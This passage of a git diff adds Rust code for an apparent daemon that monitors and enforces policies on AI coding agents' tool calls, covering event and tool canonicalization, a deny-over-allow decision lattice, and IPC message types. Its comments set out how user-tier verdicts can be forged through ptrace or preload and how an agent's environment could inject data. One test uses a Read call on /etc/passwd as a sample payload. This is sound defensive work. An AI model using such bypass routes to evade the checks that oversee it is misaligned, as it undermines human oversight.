this crate.** A second copy +//! of a twelve-CLI mapping is a second thing to keep in sync, and the failure +//! mode of drift here is not a crash — it is a policy that silently stops +//! matching because a tool arrived under a name nothing recognises. The +//! TypeScript side keeps its annotations where reviewers already look, a CI +//! drift gate re-runs the generator and fails on any diff, and Rust reads the +//! output. +//! +//! ## The failure-mode encoder +//! +//! One thing in this crate *is* a second implementation, and the plan names it +//! as such: a minimal response encoder covering one row per `(cli, event)`, +//! used only when the sealed worker is circuit-broken and cannot answer. It is +//! not a reimplementation of `policy-evaluator.ts`'s full matrix — it produces +//! only the configured failure-mode response, which is a far smaller and far +//! more stable surface than the deny/instruct/allow encodings. + +use std::collections::BTreeMap; + +use serde::{Deserialize, Serialize}; + +/// The generated tables, embedded at compile time. +/// +/// `include_str!` rather than a runtime read: the daemon must not resolve +/// anything through a mutable path at evaluation time, and a table read from +/// disk at startup is a table an attacker with write access to `/var/lib` could +/// swap. Compiling it in makes the tables part of the signed artifact. +const CANON_JSON: &str = include_str!("../../generated/canonicalization-tables.json"); +const CAPABILITY_JSON: &str = include_str!("../../generated/enforcement-capability.json"); + +/// The schema version this crate understands. +/// +/// A mismatch is a hard failure at load, not a best-effort parse. The tables and +/// the code that reads them ship together, so a mismatch means something was +/// rebuilt without the other — exactly the situation where guessing is worst. +pub const SUPPORTED_SCHEMA_VERSION: u32 = 1; + +#[derive(Debug, Clone, Deserialize)] +pub struct CanonTables { + pub schema_version: u32, + pub canonical_event_types: Vec, + pub canonical_tool_names: Vec, + pub clis: BTreeMap, + #[serde(default)] + pub generated_from: String, + #[serde(default)] + pub regenerate_with: String, +} + +#[derive(Debug, Clone, Deserialize)] +pub struct CliTable { + /// Vendor event name -> canonical `HookEventType`. + #[serde(default)] + pub event_map: BTreeMap, + /// The vendor's own event names, in the order `types.ts` declares them. + #[serde(default)] + pub event_types: Vec, + /// Vendor tool name -> canonical tool name. + #[serde(default)] + pub tool_map: BTreeMap, + /// Canonical tool name -> (vendor input key -> canonical input key). + #[serde(default)] + pub tool_input_map: BTreeMap>, + /// Per-CLI payload field renames applied before anything else. + #[serde(default)] + pub payload_normalizations: Vec, + /// Canonical events this CLI can actually deliver. + #[serde(default)] + pub reachable_canonical_events: Vec, + /// Vendor events with no canonical counterpart — a hook we install that no + /// policy can subscribe to. Recorded rather than silently dropped. + #[serde(default)] + pub unmapped_event_types: Vec, +} + +/// A payload field rename, expressed as data rather than as a code branch. +/// +/// These come from `handler.ts`'s per-CLI normalization blocks — Antigravity's +/// camelCase protojson, Copilot's `permissionRequest`, Goose's `working_dir`. +/// They are part of canonicalization: a daemon that skips one produces a +/// *different verdict*, because e.g. `block-read-outside-cwd` loses the cwd it +/// enforces against. +/// One step of a payload path. +/// +/// Paths are not uniformly object keys: Antigravity delivers the working +/// directory as `workspacePaths[0]`, which the generator emits as +/// `["workspacePaths", 0]`. Modelling the index as a number rather than +/// stringifying it keeps the distinction between the key `"0"` and the first +/// element of an array, which are different things in JSON and would silently +/// diverge on a payload that had both. +#[derive(Debug, Clone, Deserialize, Serialize, PartialEq, Eq)] +#[serde(untagged)] +pub enum PathSegment { + Key(String), + Index(usize), +} + +#[derive(Debug, Clone, Deserialize, Serialize, PartialEq, Eq)] +pub struct Normalization { + /// Path into the payload, outermost first (`["toolCall", "name"]`). + pub from: Vec, + /// Canonical top-level key to write. + pub to: String, + /// Type the source value must have for the rename to apply. + pub require_type: RequireType, + /// When the rename applies relative to the target's current state. + pub when: When, + #[serde(default)] + pub source: String, +} + +#[derive(Debug, Clone, Copy, Deserialize, Serialize, PartialEq, Eq)] +#[serde(rename_all = "snake_case")] +pub enum RequireType { + String, + Defined, + NonEmptyString, +} + +#[derive(Debug, Clone, Copy, Deserialize, Serialize, PartialEq, Eq)] +#[serde(rename_all = "snake_case")] +pub enum When { + /// Overwrite unconditionally. + Always, + /// Only when the canonical key is absent. + TargetUndefined, + /// Only when the canonical key is absent or empty. + TargetMissingOrEmpty, +} + +/// What a given CLI does with a decision on a given event. +#[derive(Debug, Clone, Copy, Deserialize, Serialize, PartialEq, Eq)] +#[serde(rename_all = "snake_case")] +pub enum Capability { + /// The vendor honours a deny; enforcement is real. + Block, + /// The hook fires but the vendor ignores any decision. + Observe, +} + +#[derive(Debug, Clone, Deserialize)] +pub struct CapabilityTables { + pub schema_version: u32, + pub clis: BTreeMap, +} + +#[derive(Debug, Clone, Deserialize)] +pub struct CliCapability { + #[serde(default)] + pub capabilities: BTreeMap, + /// Events deliberately left unverified — reported, never assumed to block. + #[serde(default)] + pub unverified_events: Vec, +} + +#[derive(Debug)] +pub enum CanonError { + UnsupportedSchema { found: u32, supported: u32 }, + Parse(serde_json::Error), + UnknownCli(String), +} + +impl std::fmt::Display for CanonError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::UnsupportedSchema { found, supported } => write!( + f, + "canonicalization tables declare schema_version {found}, this build understands \ + {supported}. The tables and the daemon ship together; regenerate with \ + `bun scripts/gen-canon-tables.ts` and rebuild." + ), + Self::Parse(e) => write!(f, "failed to parse generated canonicalization tables: {e}"), + Self::UnknownCli(cli) => write!( + f, + "unknown CLI '{cli}'. It must be a member of INTEGRATION_TYPES in \ + src/hooks/types.ts and present in the generated tables." + ), + } + } +} + +impl std::error::Error for CanonError {} + +/// Load and validate the embedded tables. +pub fn load() -> Result<(CanonTables, CapabilityTables), CanonError> { + let canon: CanonTables = serde_json::from_str(CANON_JSON).map_err(CanonError::Parse)?; + if canon.schema_version != SUPPORTED_SCHEMA_VERSION { + return Err(CanonError::UnsupportedSchema { + found: canon.schema_version, + supported: SUPPORTED_SCHEMA_VERSION, + }); + } + let caps: CapabilityTables = + serde_json::from_str(CAPABILITY_JSON).map_err(CanonError::Parse)?; + if caps.schema_version != SUPPORTED_SCHEMA_VERSION { + return Err(CanonError::UnsupportedSchema { + found: caps.schema_version, + supported: SUPPORTED_SCHEMA_VERSION, + }); + } + Ok((canon, caps)) +} + +impl CanonTables { + pub fn cli(&self, cli: &str) -> Result<&CliTable, CanonError> { + self.clis + .get(cli) + .ok_or_else(|| CanonError::UnknownCli(cli.to_string())) + } + + /// Vendor event name -> canonical `HookEventType`. + /// + /// Returns `None` for a vendor event with no canonical counterpart — + /// Copilot's `ErrorOccurred` is the live example. Passing it through + /// unchanged would let it masquerade as a canonical event that policies can + /// match on, so it is refused rather than guessed. + pub fn canonical_event(&self, cli: &str, raw: &str) -> Result, CanonError> { + Ok(self.cli(cli)?.event_map.get(raw).map(String::as_str)) + } + + /// Vendor tool name -> canonical tool name. + /// + /// Unknown tools pass through unchanged, matching + /// `tool-name-canonicalize.ts`. That is deliberate: a vendor adding a tool + /// should not make every policy stop matching, and a policy keyed on an + /// unrecognised name simply does not fire. + pub fn canonical_tool<'a>(&'a self, cli: &str, raw: &'a str) -> Result<&'a str, CanonError> { + Ok(self + .cli(cli)? + .tool_map + .get(raw) + .map(String::as_str) + .unwrap_or(raw)) + } + + /// Vendor input key -> canonical input key, for one canonical tool. + pub fn canonical_input_key<'a>( + &'a self, + cli: &str, + canonical_tool: &str, + raw_key: &'a str, + ) -> Result<&'a str, CanonError> { + Ok(self + .cli(cli)? + .tool_input_map + .get(canonical_tool) + .and_then(|m| m.get(raw_key)) + .map(String::as_str) + .unwrap_or(raw_key)) + } + + /// Apply a CLI's payload normalizations, then canonicalize tool name and + /// tool-input keys, in the order `pipeline` declares. + /// + /// Mirrors `handler.ts` step for step. The daemon re-derives this rather + /// than trusting the client's canonicalization, and a disagreement is a + /// `canonicalization_mismatch` protocol error — see `crates/PROTOCOL.md`. + pub fn canonicalize_payload( + &self, + cli: &str, + payload: &mut serde_json::Value, + ) -> Result<(), CanonError> { + let table = self.cli(cli)?; + + for rule in &table.payload_normalizations { + apply_normalization(payload, rule); + } + + let Some(obj) = payload.as_object_mut() else { + return Ok(()); + }; + + // Tool name, in place, so the registry filter and policy bodies agree. + let raw_tool = obj + .get("tool_name") + .and_then(|v| v.as_str()) + .map(str::to_owned); + let canonical_tool = match raw_tool { + Some(raw) => { + let canonical = self.canonical_tool(cli, &raw)?.to_owned(); + if canonical != raw { + obj.insert( + "tool_name".into(), + serde_json::Value::String(canonical.clone()), + ); + } + Some(canonical) + } + None => None, + }; + + // Tool-input keys, keyed by the CANONICAL tool name. + if let (Some(tool), Some(serde_json::Value::Object(input))) = + (canonical_tool.as_deref(), obj.get_mut("tool_input")) + && let Some(key_map) = table.tool_input_map.get(tool) + { + // Collected first: renaming while iterating the map would be a + // borrow conflict, and a `from` key that is also some other rule's + // `to` must not be re-renamed in the same pass. + let renames: Vec<(String, String)> = key_map + .iter() + .filter(|(from, _)| input.contains_key(*from)) + .map(|(from, to)| (from.clone(), to.clone())) + .collect(); + for (from, to) in renames { + if let Some(value) = input.remove(&from) { + input.insert(to, value); + } + } + } + + Ok(()) + } +} + +fn apply_normalization(payload: &mut serde_json::Value, rule: &Normalization) { + if !payload.is_object() { + return; + } + + // Walk `from` as a path into the payload. Borrowing throughout — the + // mutable borrow is only taken once the value to write has been cloned out. + let mut cursor: &serde_json::Value = payload; + for segment in &rule.from { + let next = match segment { + PathSegment::Key(k) => cursor.get(k.as_str()), + PathSegment::Index(i) => cursor.get(*i), + }; + match next { + Some(v) => cursor = v, + None => return, + } + } + + let matches_type = match rule.require_type { + RequireType::String => cursor.is_string(), + RequireType::Defined => !cursor.is_null(), + RequireType::NonEmptyString => cursor.as_str().is_some_and(|s| !s.is_empty()), + }; + if !matches_type { + return; + } + let value = cursor.clone(); + + let Some(obj) = payload.as_object_mut() else { + return; + }; + let should_write = match rule.when { + When::Always => true, + When::TargetUndefined => !obj.contains_key(&rule.to), + When::TargetMissingOrEmpty => obj + .get(&rule.to) + .is_none_or(|v| v.as_str().is_some_and(str::is_empty) || v.is_null()), + }; + if should_write { + obj.insert(rule.to.clone(), value); + } +} + +impl CapabilityTables { + /// What this CLI does with a decision on this canonical event. + /// + /// `None` means **not verified**, and callers must never read that as + /// "blocks". Reporting a deny as enforced when the harness actually ignores + /// that event is the single most misleading thing this system could do. + pub fn capability(&self, cli: &str, event: &str) -> Option { + self.clis.get(cli)?.capabilities.get(event).copied() + } + + /// Whether a deny on this `(cli, event)` is genuinely enforced. + pub fn enforces(&self, cli: &str, event: &str) -> bool { + matches!(self.capability(cli, event), Some(Capability::Block)) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn tables() -> (CanonTables, CapabilityTables) { + load().expect("embedded tables must load") + } + + #[test] + fn embedded_tables_load_and_declare_the_supported_schema() { + let (canon, caps) = tables(); + assert_eq!(canon.schema_version, SUPPORTED_SCHEMA_VERSION); + assert_eq!(caps.schema_version, SUPPORTED_SCHEMA_VERSION); + assert!(!canon.clis.is_empty()); + } + + #[test] + fn every_event_map_is_total_over_its_own_event_types() { + // The property the plan's L0 layer names: "every per-CLI event map is + // total over HOOK_EVENT_TYPES". Stated precisely, a CLI's map must + // cover its OWN declared vendor events, and every value must be a + // canonical event. A gap here means a real hook fires and reaches + // nothing. + let (canon, _) = tables(); + let canonical: std::collections::BTreeSet<&str> = canon + .canonical_event_types + .iter() + .map(String::as_str) + .collect(); + + for (cli, table) in &canon.clis { + for raw in &table.event_types { + if table.unmapped_event_types.contains(raw) { + continue; // recorded as having no canonical counterpart + } + let mapped = table + .event_map + .get(raw) + .unwrap_or_else(|| panic!("{cli}: event '{raw}' has no mapping")); + assert!( + canonical.contains(mapped.as_str()), + "{cli}: event '{raw}' maps to '{mapped}', which is not a canonical event type", + ); + } + } + } + + #[test] + fn unknown_cli_is_an_error_not_a_default() { + let (canon, _) = tables(); + assert!(matches!( + canon.canonical_event("not-a-cli", "PreToolUse"), + Err(CanonError::UnknownCli(_)) + )); + } + + #[test] + fn goose_tool_names_and_input_keys_canonicalize() { + // Goose is the useful case: it has both a tool map and a tool-input + // map, and its `path` -> `file_path` rename is what makes the path + // builtins fire at all. + let (canon, _) = tables(); + assert_eq!(canon.canonical_tool("goose", "shell").unwrap(), "Bash"); + assert_eq!(canon.canonical_tool("goose", "view").unwrap(), "Read"); + assert_eq!( + canon.canonical_input_key("goose", "Read", "path").unwrap(), + "file_path" + ); + } + + #[test] + fn unknown_tools_pass_through_rather_than_erroring() { + let (canon, _) = tables(); + assert_eq!( + canon.canonical_tool("goose", "some_new_tool").unwrap(), + "some_new_tool" + ); + } + + #[test] + fn goose_working_dir_normalizes_to_cwd() { + let (canon, _) = tables(); + let mut payload = serde_json::json!({ + "working_dir": "/home/u/project", + "tool_name": "shell", + "tool_input": { "command": "ls" } + }); + canon.canonicalize_payload("goose", &mut payload).unwrap(); + assert_eq!(payload["cwd"], "/home/u/project"); + assert_eq!(payload["tool_name"], "Bash"); + } + + #[test] + fn goose_read_path_becomes_file_path() { + let (canon, _) = tables(); + let mut payload = serde_json::json!({ + "tool_name": "view", + "tool_input": { "path": "/etc/passwd" } + }); + canon.canonicalize_payload("goose", &mut payload).unwrap(); + assert_eq!(payload["tool_name"], "Read"); + assert_eq!(payload["tool_input"]["file_path"], "/etc/passwd"); + assert!(payload["tool_input"].get("path").is_none()); + } + + #[test] + fn target_undefined_does_not_overwrite_an_existing_value() { + let (canon, _) = tables(); + // Goose's `event` -> `hook_event_name` rule is `when: target_undefined`. + let mut payload = serde_json::json!({ + "event": "PreToolUse", + "hook_event_name": "AlreadySet" + }); + canon.canonicalize_payload("goose", &mut payload).unwrap(); + assert_eq!(payload["hook_event_name"], "AlreadySet"); + } + + #[test] + fn canonicalization_is_idempotent() { + // The daemon re-derives canonicalization on a payload the client has + // already canonicalized, so applying it twice must be a no-op. + // Otherwise every request would look like a mismatch. + let (canon, _) = tables(); + for cli in canon.clis.keys() { + let mut once = serde_json::json!({ + "tool_name": "shell", + "tool_input": { "path": "/x", "command": "ls" }, + "working_dir": "/home/u" + }); + canon.canonicalize_payload(cli, &mut once).unwrap(); + let mut twice = once.clone(); + canon.canonicalize_payload(cli, &mut twice).unwrap(); + assert_eq!(once, twice, "{cli}: canonicalization is not idempotent"); + } + } + + #[test] + fn an_unverified_capability_is_never_reported_as_blocking() { + let (_, caps) = tables(); + for (cli, entry) in &caps.clis { + for event in &entry.unverified_events { + assert!( + !caps.enforces(cli, event), + "{cli}/{event} is listed unverified but enforces() said it blocks", + ); + } + } + } + + #[test] + fn capability_tables_cover_every_cli_in_the_canon_tables() { + let (canon, caps) = tables(); + for cli in canon.clis.keys() { + assert!( + caps.clis.contains_key(cli), + "{cli} has canonicalization data but no enforcement-capability entry", + ); + } + } +} diff --git a/crates/fpai-ipc/Cargo.toml b/crates/fpai-ipc/Cargo.toml new file mode 100644 index 00000000..a9984f32 --- /dev/null +++ b/crates/fpai-ipc/Cargo.toml @@ -0,0 +1,35 @@ +[package] +name = "fpai-ipc" +description = "Wire framing, envelope types, and peer credentials for the failproofaid local IPC protocol" +version.workspace = true +edition.workspace = true +license.workspace = true +repository.workspace = true +rust-version.workspace = true + +[lints] +workspace = true + +[features] +default = ["tokio"] +# The async framing helpers. On by default because `failproofaid` is a tokio +# listener; opt out (`default-features = false`) for a sync-only consumer such as +# the transient hook client, which opens one socket, writes one frame, and exits. +tokio = ["dep:tokio"] + +[dependencies] +serde = { version = "1.0.228", features = ["derive"] } +serde_json = "1.0.151" +thiserror = "2.0.19" +tokio = { version = "1.53.1", features = ["io-util"], optional = true } + +[target.'cfg(unix)'.dependencies] +# `nix` covers every syscall this crate needs behind a safe wrapper: SO_PEERCRED +# on Linux, getpeereid(2) on macOS, and — the one that actually matters — a +# getpwuid_r bound that already implements the ERANGE grow-the-buffer loop and +# reports "no such user" as Ok(None) rather than as an error. +nix = { version = "0.31.3", default-features = false, features = ["socket", "user"] } + +[dev-dependencies] +proptest = "1.11.0" +tokio = { version = "1.53.1", features = ["io-util", "macros", "rt", "net"] } diff --git a/crates/fpai-ipc/src/combine.rs b/crates/fpai-ipc/src/combine.rs new file mode 100644 index 00000000..fab5d926 --- /dev/null +++ b/crates/fpai-ipc/src/combine.rs @@ -0,0 +1,289 @@ +//! The decision lattice: `deny` over `instruct` over `allow`. +//! +//! This is the algebra the entire two-tier security argument rests on. A +//! `user-context` policy runs in a process the requesting user owns, so that +//! user can `ptrace` it, preload into it, or substitute the interpreter — its +//! verdict is forgeable by construction. That is tolerable **only** because +//! combination is a join over a total order in which `deny` is the top: a +//! forged `allow` changes nothing, and a forged `deny` harms only the user who +//! forged it. +//! +//! So the properties in this module's tests are not unit-test hygiene. They are +//! the security argument, written down in a form that a machine re-checks. + +use serde::{Deserialize, Serialize}; + +use crate::envelope::Attestation; + +/// A policy verdict. +/// +/// Ordered `Allow < Instruct < Deny`. [`Ord`] is written by hand rather than +/// derived so that reordering the variants — a cosmetic-looking edit — cannot +/// silently invert the lattice and turn a deny into an allow. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum Decision { + /// No policy objected. + Allow, + /// Proceed, but carry an instruction back to the agent. + Instruct, + /// Stop the operation. + Deny, +} + +impl Decision { + /// Rank in the lattice; higher is stricter. + #[must_use] + pub const fn rank(self) -> u8 { + match self { + Self::Allow => 0, + Self::Instruct => 1, + Self::Deny => 2, + } + } + + /// The on-wire spelling, matching `EvaluationResult["decision"]` in + /// `src/hooks/policy-evaluator.ts`. + #[must_use] + pub const fn as_str(self) -> &'static str { + match self { + Self::Allow => "allow", + Self::Instruct => "instruct", + Self::Deny => "deny", + } + } +} + +impl Default for Decision { + /// [`Decision::Allow`], the identity of [`combine`]. + fn default() -> Self { + Self::Allow + } +} + +impl Ord for Decision { + fn cmp(&self, other: &Self) -> std::cmp::Ordering { + self.rank().cmp(&other.rank()) + } +} + +impl PartialOrd for Decision { + fn partial_cmp(&self, other: &Self) -> Option { + Some(self.cmp(other)) + } +} + +impl std::fmt::Display for Decision { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.write_str(self.as_str()) + } +} + +/// Combine two verdicts: `deny` over `instruct` over `allow`. +/// +/// Associative, commutative, and idempotent, with [`Decision::Allow`] as the +/// identity — i.e. a join semilattice, which is what makes the order in which +/// policies happen to be evaluated irrelevant to the result. +#[must_use] +pub fn combine(a: Decision, b: Decision) -> Decision { + a.max(b) +} + +/// Combine any number of verdicts. An empty input is [`Decision::Allow`]. +pub fn combine_all>(decisions: I) -> Decision { + decisions.into_iter().fold(Decision::Allow, combine) +} + +/// Which process computed a verdict, and therefore whether it can be trusted. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum Tier { + /// The daemon's pinned runtime. No filesystem, subprocess, or network + /// access, so the verdict rests on the request payload and nothing else. + /// + /// In v1.0.0's user scope this says what the evaluator could *reach*, not + /// who it could resist: the daemon runs as the same user as the agent it + /// governs, so the verdict is not unforgeable and is not claimed to be. + /// See `crates/PROTOCOL.md`. + Sealed, + /// A worker with host access, running as the requesting UID. Bounded only + /// by that user's own authority. + UserContext, +} + +/// One policy's verdict, tagged with the tier that produced it. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub struct TieredDecision { + /// The verdict. + pub decision: Decision, + /// Where it was computed. + pub tier: Tier, +} + +impl TieredDecision { + /// A verdict from the sealed tier. + #[must_use] + pub const fn sealed(decision: Decision) -> Self { + Self { + decision, + tier: Tier::Sealed, + } + } + + /// A verdict from a host-access worker running as the requesting UID. + #[must_use] + pub const fn user_context(decision: Decision) -> Self { + Self { + decision, + tier: Tier::UserContext, + } + } +} + +/// The outcome of combining tiered verdicts. +/// +/// The per-tier maxima are kept rather than collapsed because the *combined* +/// decision alone cannot tell you whether a forgeable process influenced it, +/// and that question is what [`TieredOutcome::attestation_ceiling`] answers. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct TieredOutcome { + /// The strictest sealed verdict. [`Decision::Allow`] if none ran. + pub sealed: Decision, + /// The strictest `user-context` verdict. [`Decision::Allow`] if none ran. + pub user_context: Decision, +} + +impl TieredOutcome { + /// The combined verdict returned to the client. + #[must_use] + pub fn decision(self) -> Decision { + combine(self.sealed, self.user_context) + } + + /// Whether a `user-context` verdict actually changed the outcome. + /// + /// False when the two tiers agree: a sealed deny that a `user-context` + /// policy merely echoed is still a sealed deny, and reporting it as + /// `user_context` would understate a verdict the daemon can in fact stand + /// behind. Computed from the per-tier maxima rather than from fold order, + /// so it does not depend on the sequence policies happened to run in. + #[must_use] + pub fn decided_by_user_context(self) -> bool { + self.user_context > self.sealed + } + + /// The strongest attestation this outcome could carry. + /// + /// A **ceiling**, not the final answer: it accounts for the tier split + /// only. The caller must additionally weaken it to + /// [`Attestation::SealedUnattested`] if a deciding policy read `cwd`, + /// `project_dir`, or an env fact, because those are client-asserted and + /// this crate has no way to know which policy read what. + #[must_use] + pub fn attestation_ceiling(self) -> Attestation { + if self.decided_by_user_context() { + Attestation::UserContext + } else { + Attestation::Sealed + } + } +} + +/// Combine tiered verdicts, keeping the per-tier maxima. +/// +/// This is where "a `user-context` policy can only tighten" becomes mechanical +/// rather than aspirational: `user_context` contributes to the result solely +/// through a join, and a join can never lower anything. +pub fn combine_tiered>(results: I) -> TieredOutcome { + let mut outcome = TieredOutcome { + sealed: Decision::Allow, + user_context: Decision::Allow, + }; + for result in results { + match result.tier { + Tier::Sealed => outcome.sealed = combine(outcome.sealed, result.decision), + Tier::UserContext => { + outcome.user_context = combine(outcome.user_context, result.decision); + } + } + } + outcome +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn deny_beats_instruct_beats_allow() { + assert_eq!( + combine(Decision::Allow, Decision::Instruct), + Decision::Instruct + ); + assert_eq!(combine(Decision::Instruct, Decision::Deny), Decision::Deny); + assert_eq!(combine(Decision::Allow, Decision::Deny), Decision::Deny); + } + + #[test] + fn an_empty_combination_allows() { + assert_eq!(combine_all([]), Decision::Allow); + assert_eq!(Decision::default(), Decision::Allow); + } + + #[test] + fn wire_spellings_match_the_typescript_evaluation_result() { + for (decision, spelling) in [ + (Decision::Allow, "allow"), + (Decision::Instruct, "instruct"), + (Decision::Deny, "deny"), + ] { + assert_eq!(decision.as_str(), spelling); + assert_eq!( + serde_json::to_value(decision).unwrap(), + serde_json::json!(spelling) + ); + } + } + + #[test] + fn tiers_serialize_snake_case() { + assert_eq!( + serde_json::to_value(Tier::UserContext).unwrap(), + serde_json::json!("user_context") + ); + assert_eq!( + serde_json::to_value(Tier::Sealed).unwrap(), + serde_json::json!("sealed") + ); + } + + #[test] + fn a_user_context_deny_that_only_echoes_a_sealed_deny_is_still_sealed() { + let outcome = combine_tiered([ + TieredDecision::sealed(Decision::Deny), + TieredDecision::user_context(Decision::Deny), + ]); + assert_eq!(outcome.decision(), Decision::Deny); + assert!(!outcome.decided_by_user_context()); + assert_eq!(outcome.attestation_ceiling(), Attestation::Sealed); + } + + #[test] + fn a_user_context_deny_that_tightens_an_allow_is_attributed_to_it() { + let outcome = combine_tiered([ + TieredDecision::sealed(Decision::Allow), + TieredDecision::user_context(Decision::Deny), + ]); + assert_eq!(outcome.decision(), Decision::Deny); + assert!(outcome.decided_by_user_context()); + assert_eq!(outcome.attestation_ceiling(), Attestation::UserContext); + } + + #[test] + fn no_verdicts_at_all_allows_and_is_sealed() { + let outcome = combine_tiered([]); + assert_eq!(outcome.decision(), Decision::Allow); + assert_eq!(outcome.attestation_ceiling(), Attestation::Sealed); + } +} diff --git a/crates/fpai-ipc/src/envelope.rs b/crates/fpai-ipc/src/envelope.rs new file mode 100644 index 00000000..edd70743 --- /dev/null +++ b/crates/fpai-ipc/src/envelope.rs @@ -0,0 +1,883 @@ +//! Wire message types for the `failproofaid` local IPC protocol. +//! +//! Every type here is a transcription of `crates/PROTOCOL.md`. It carries no +//! daemon logic and no policy logic: the only behaviour beyond serde is +//! [`HostContext::validate`], which enforces the two envelope rules that exist +//! to close attack classes rather than to catch typos. +//! +//! ## Why request-side types set `deny_unknown_fields` +//! +//! Serde's default is to ignore unknown fields. On the request side that +//! default is a silent-failure machine: a client that invents `host.home_dir`, +//! or misspells `project_dir`, would be accepted and its field dropped, and the +//! resulting verdict would be computed from an envelope that is not the one the +//! client believes it sent. `deny_unknown_fields` converts that into a loud +//! parse failure, which the client turns into a legacy fallback. +//! +//! Response-side types deliberately do **not** set it. The daemon is the sole +//! producer of responses, and a client that refuses to parse a response +//! carrying a field added by a newer daemon would fall back to legacy for a +//! purely additive change. + +use std::collections::BTreeMap; + +use serde::{Deserialize, Serialize}; + +use crate::combine::Decision; + +/// The protocol version this build speaks. +pub const PROTOCOL_VERSION: u32 = 1; + +/// Every protocol version this build accepts, for the `version_mismatch` reply. +pub const SUPPORTED_PROTOCOL_VERSIONS: &[u32] = &[PROTOCOL_VERSION]; + +/// The only `env_facts` key in the closed set, as of protocol v1. +pub const ENV_FACT_CLAUDE_PROJECT_DIR: &str = "CLAUDE_PROJECT_DIR"; + +/// The closed `env_facts` key set. +/// +/// Closed, and rejected rather than filtered, because the hook client's +/// environment originates in the agent's process — and is therefore under the +/// agent's control. A pass-through would make it an injection channel. +pub const KNOWN_ENV_FACTS: &[&str] = &[ENV_FACT_CLAUDE_PROJECT_DIR]; + +// --------------------------------------------------------------------------- +// Handshake +// --------------------------------------------------------------------------- + +/// The first frame the client sends: `{"hello": {…}}`. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum ClientHandshake { + /// Version and identity announcement. + Hello(Hello), +} + +/// The first frame the daemon sends: `{"hello_ack": {…}}` or +/// `{"version_mismatch": {…}}`. +/// +/// A client that receives anything other than `hello_ack` must fall back to the +/// legacy in-process evaluator. It must never guess, retry with a different +/// version, or fail the hook. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum ServerHandshake { + /// Handshake accepted. + HelloAck(HelloAck), + /// Handshake refused; the daemon closes the connection after this frame. + VersionMismatch(VersionMismatch), +} + +/// Client → daemon handshake body. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case", deny_unknown_fields)] +pub struct Hello { + /// Protocol version the client speaks. + pub protocol_version: u32, + /// Client identity, e.g. `"failproofai-hook"`. + pub client: String, + /// Client package version. + pub client_version: String, +} + +/// Daemon → client handshake acceptance. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub struct HelloAck { + /// Protocol version in force for this connection. + pub protocol_version: u32, + /// Daemon package version. + pub daemon_version: String, + /// Identity of the active policy generation, `gen-`. + pub generation_id: String, +} + +/// Daemon → client handshake refusal. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub struct VersionMismatch { + /// Every protocol version the daemon accepts. + pub supported: Vec, + /// The version the client offered. + pub received: u32, +} + +impl VersionMismatch { + /// Build the refusal for a client that offered `received`. + #[must_use] + pub fn for_received(received: u32) -> Self { + Self { + supported: SUPPORTED_PROTOCOL_VERSIONS.to_vec(), + received, + } + } +} + +/// Whether this build can serve a client offering `version`. +#[must_use] +pub fn is_supported_protocol_version(version: u32) -> bool { + SUPPORTED_PROTOCOL_VERSIONS.contains(&version) +} + +// --------------------------------------------------------------------------- +// Request / response envelopes +// --------------------------------------------------------------------------- + +/// A request frame: `{"request_id": "", "op": {…}}`. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case", deny_unknown_fields)] +pub struct Request { + /// Echoed verbatim in the response. Stage 1 has no pipelining, so a + /// mismatch is a protocol error — but it is carried now because decision + /// evidence must be correlatable once lanes are concurrent. + pub request_id: String, + /// The operation to perform. + pub op: Op, +} + +/// A response frame: `{"request_id": "", "result": {…}}`. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub struct Response { + /// The `request_id` of the request being answered. + pub request_id: String, + /// The outcome. + pub result: OpResult, +} + +impl Response { + /// Whether this response answers `request_id`. + /// + /// Stage 1 is strictly request/response over one connection, so a `false` + /// here is a protocol error and the client falls back to legacy. + #[must_use] + pub fn is_reply_to(&self, request_id: &str) -> bool { + self.request_id == request_id + } + + /// Build an error response for `request_id`. + #[must_use] + pub fn error( + request_id: impl Into, + code: ErrorCode, + message: impl Into, + ) -> Self { + Self { + request_id: request_id.into(), + result: OpResult::Error(ErrorBody { + code, + message: message.into(), + }), + } + } +} + +/// The operations of protocol v1. +/// +/// `Status`, `Reload`, `Flush`, and the `Query` set are named in the daemon +/// architecture and land later; the envelope is shaped so adding them is a new +/// variant rather than a wire change. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum Op { + /// Liveness probe that submits no event. + Ping(Ping), + /// Evaluate one hook event. + EvaluateHook(Box), +} + +/// The result of an operation. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum OpResult { + /// Answer to [`Op::Ping`]. + Pong(Pong), + /// Answer to [`Op::EvaluateHook`]. + Evaluated(Box), + /// Any failure. Every error is a client fallback to legacy, never a failed + /// hook. + Error(ErrorBody), +} + +/// `{"ping": {}}`. +/// +/// Exists so a client can prove liveness without submitting an event, and so +/// the service manager's readiness check is independent of policy state. +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct Ping {} + +/// `{"pong": {…}}`. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub struct Pong { + /// 